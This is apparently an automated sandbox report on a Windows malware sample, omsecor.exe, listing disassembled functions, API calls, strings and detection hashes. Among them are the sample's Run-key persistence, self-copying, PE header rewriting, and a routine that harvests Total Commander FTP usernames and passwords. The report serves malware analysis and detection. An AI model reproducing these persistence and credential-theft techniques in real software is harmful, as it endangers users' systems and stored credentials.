Part of subcall function 00403B59: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00403B66
Part of subcall function 00403B59: GetOEMCP.KERNEL32(00000000,?,00402A85,?,?,00000001), ref: 00403B80

setSBCS.LIBCMT ref: 00403BFE

Part of subcall function 00403854: _memset.LIBCMT ref: 00403867

IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,00409430), ref: 00403C44
GetCPInfo.KERNEL32(00000000,00403F56), ref: 00403C57
_memset.LIBCMT ref: 00403C6F
setSBUpLow.LIBCMT ref: 00403D42

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Locale_memset$CodeInfoPageSystemUpdateUpdate::_Valid
String ID:
API String ID: 2658552758-0
Opcode ID: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction ID: 0e9026f4e105130f7015617c44e62dc713e6d3fa9c6682f74f6de7838a23a284
Opcode Fuzzy Hash: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction Fuzzy Hash: 875108319042558BDB159F25C8442BABFB8EF05306F14847FE881FF282C63CCA46DB99

Function 00401AAA Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

Strings

KERNEL32.DLL, xrefs: 00401ADE
EncodePointer, xrefs: 00401AF8

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: EncodePointer$KERNEL32.DLL
API String ID: 1929421221-3682587211
Opcode ID: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction ID: 2de7d8fd10128b17cfc71597f2b569db04ade18300f5c4710948ea3b5a4a2571
Opcode Fuzzy Hash: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction Fuzzy Hash: 68F06D307017169BD7219F25DE04A5A3AB8AF80790B16417AB844F62F4EF38DC029A6D

Function 00401B21 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

Strings

KERNEL32.DLL, xrefs: 00401B55
DecodePointer, xrefs: 00401B6F

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: DecodePointer$KERNEL32.DLL
API String ID: 1929421221-629428536
Opcode ID: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction ID: 1a7e216e592b3cd04d2002f0154b272c3d781bc2d345389bf2442321812c8d59
Opcode Fuzzy Hash: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction Fuzzy Hash: 96F062305013129BC7215F24DE44E6A3AB89F407947154136F854F22F0EF34DC018A6D

Function 00407B29 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction ID: 7291aa48b631972549e6df949c7a5fbc9f7bec4cf14f78cf3737268845182a7c
Opcode Fuzzy Hash: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction Fuzzy Hash: C3F02E36D01705A7E720A7B4CE49B6D3134AB88765F35013BF5017B2E2CABC4D06A62D

Function 00421170 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction ID: 38895570f31eb67b982826470c9dd1e6c230b0faa58df9c9f10e023fb9096192
Opcode Fuzzy Hash: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction Fuzzy Hash: 4DF0E936E48301D7E720A7A09D49B2D3134AB44765F34053BE001BB2E1CDBC4942661F

Function 00403F64 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00403F82

Part of subcall function 004034EE: __mtinitlocknum.LIBCMT ref: 00403502
Part of subcall function 004034EE: __amsg_exit.LIBCMT ref: 0040350E
Part of subcall function 004034EE: RtlEnterCriticalSection.NTDLL(?), ref: 00403516

___sbh_find_block.LIBCMT ref: 00403F8D
___sbh_free_block.LIBCMT ref: 00403F9C
HeapFree.KERNEL32(00000000,?,00409450,0000000C,004034CF,00000000,004093D0,0000000C,00403507,?,?,?,00406798,00000004,00409530,0000000C), ref: 00403FCC
GetLastError.KERNEL32(?,00406798,00000004,00409530,0000000C,00404045,?,?,00000000,00000000,00000000,00401CEF,00000001,00000214), ref: 00403FDD

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction ID: 478c35e85f2b107ed22a8aba67e00a0e018390ca299f0d6e226d856ee505d4b6
Opcode Fuzzy Hash: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction Fuzzy Hash: AB012C71D05602AADB207FB29A0AB5E7A78DF0076AF20413FF404B61D1CB7C8A449A9D

Function 00403A33 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00401D3D: __amsg_exit.LIBCMT ref: 00401D4B

__amsg_exit.LIBCMT ref: 00403A5F
__lock.LIBCMT ref: 00403A6F
InterlockedDecrement.KERNEL32(?), ref: 00403A8C
InterlockedIncrement.KERNEL32(02181588), ref: 00403AB7

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__lock
String ID:
API String ID: 4129207761-0
Opcode ID: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction ID: 3b707b5fd0894213fb8e8695ce472a26b52a1803b1b57e4fe7db1faaf9775e12
Opcode Fuzzy Hash: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction Fuzzy Hash: 3A018E32E00B119BD611AF6A990974A7B64BB05716F05403BE890773D1C73CAB51DFDE

Function 00401CC6 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00404281,00402202,00000000,00402EFA,FFFFFFFE,?,?,?,?,00402F66), ref: 00401CC8

Part of subcall function 00401B98: TlsGetValue.KERNEL32(00000000,00401CDB,?,?,?,00402F66), ref: 00401B9F
Part of subcall function 00401B98: TlsSetValue.KERNEL32(00000000,?,?,00402F66), ref: 00401BC0

__calloc_crt.LIBCMT ref: 00401CEA

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401C07: GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
Part of subcall function 00401C07: InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
Part of subcall function 00401C07: __lock.LIBCMT ref: 00401C86
Part of subcall function 00401C07: ___addlocaleref.LIBCMT ref: 00401CA5

GetCurrentThreadId.KERNEL32 ref: 00401D1A
SetLastError.KERNEL32(00000000,?,?,?,00402F66), ref: 00401D32

Memory Dump Source

Source File: 00000017.00000002.2375599383.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2375527486.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375599383.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.2375742037.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressErrorLastProc$CurrentHandleIncrementInterlockedModuleSleepThread___addlocaleref__calloc_crt__calloc_impl__lock
String ID:
API String ID: 1081334783-0
Opcode ID: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction ID: d2849ffa799b97934cc6d9bfafbcb639600e9549b280b5eba9c9c239b681eae2
Opcode Fuzzy Hash: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction Fuzzy Hash: 2EF0FF325447229AD6363BB96D0AA8F3AA49F41761711093FF580B61F0CF3CD80296AD

Analysis Process: omsecor.exePID: 7596, Parent PID: 7440COMMON

Executed Functions

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD
/nomove, xrefs: 0040B4D9
opeqmc.exe, xrefs: 0040B36E
IueiOod, xrefs: 0040B3A8

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: 55bb52feb6c62d8aec5773147cbc2c373a20a80f20ddf5eadf9f4fa8ccd6a04a
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
Opcode Fuzzy Hash: 55bb52feb6c62d8aec5773147cbc2c373a20a80f20ddf5eadf9f4fa8ccd6a04a
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
RtlAllocateHeap.NTDLL(00000000), ref: 0040763F
ReadFile.KERNELBASE(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNELBASE(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNELBASE(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNELBASE(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 00407705
CloseHandle.KERNELBASE(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: File$PointerRead$CloseCreateHandleHeapWrite$AllocateProcessSize
String ID:
API String ID: 2296163861-0
Opcode ID: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C
/nomove, xrefs: 0040AC23
IueiOod, xrefs: 0040AC50, 0040AC82

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,0040B3E5), ref: 0040AB0A
GetModuleFileNameW.KERNEL32(00000000,?,00000820,00000400,?,0040B3E5), ref: 0040AB44
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB57
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CharLower$CommandFileLineModuleName
String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,771B0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: eafcbf4a8c3930913d522f5c7b72beb30a71f0d0c1af5e3f4189f884763461bb
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: eafcbf4a8c3930913d522f5c7b72beb30a71f0d0c1af5e3f4189f884763461bb
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00407800
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,?,?,?,?,00000400), ref: 0040781B

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CreateProcess_memset
String ID:
API String ID: 1177741608-0
Opcode ID: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction ID: 3694313203bda926a09df6f19e1a61ce713b6a49f930e6e3ed03be73a1123fdc
Opcode Fuzzy Hash: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction Fuzzy Hash: 1DE048B294113876DB20A6E69C0DDDF7F6CDF06694F000121BA0EE50C4E5749608C6F5

Function 004069C0 Relevance: 3.0, APIs: 2, Instructions: 25
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Non-executed Functions

Function 004039EA Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 163
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
StrStrIW.SHLWAPI(?,?), ref: 00403ACF
StrStrIW.SHLWAPI(?,?), ref: 00403AE4
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF
GetPrivateProfileStringW.KERNEL32(?,?,00000000,000001FE,000000FF,?), ref: 00403B20
GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00403B36

Strings

host, xrefs: 00403A9A
password, xrefs: 00403AB8
ftp://%s:%s@%s, xrefs: 00403B50
username, xrefs: 00403AA9
default, xrefs: 00403A8B
SOFTWARE\Ghisler\Total Commander, xrefs: 004039F3
connections, xrefs: 00403A79

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: PrivateProfileString$AllocHeap
String ID: SOFTWARE\Ghisler\Total Commander$connections$default$ftp://%s:%s@%s$host$password$username
API String ID: 2479592106-2015850556
Opcode ID: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction ID: 106d3b010c48b16868dcb071ba678aa04ac33b338b72d514ced31169f03d36dc
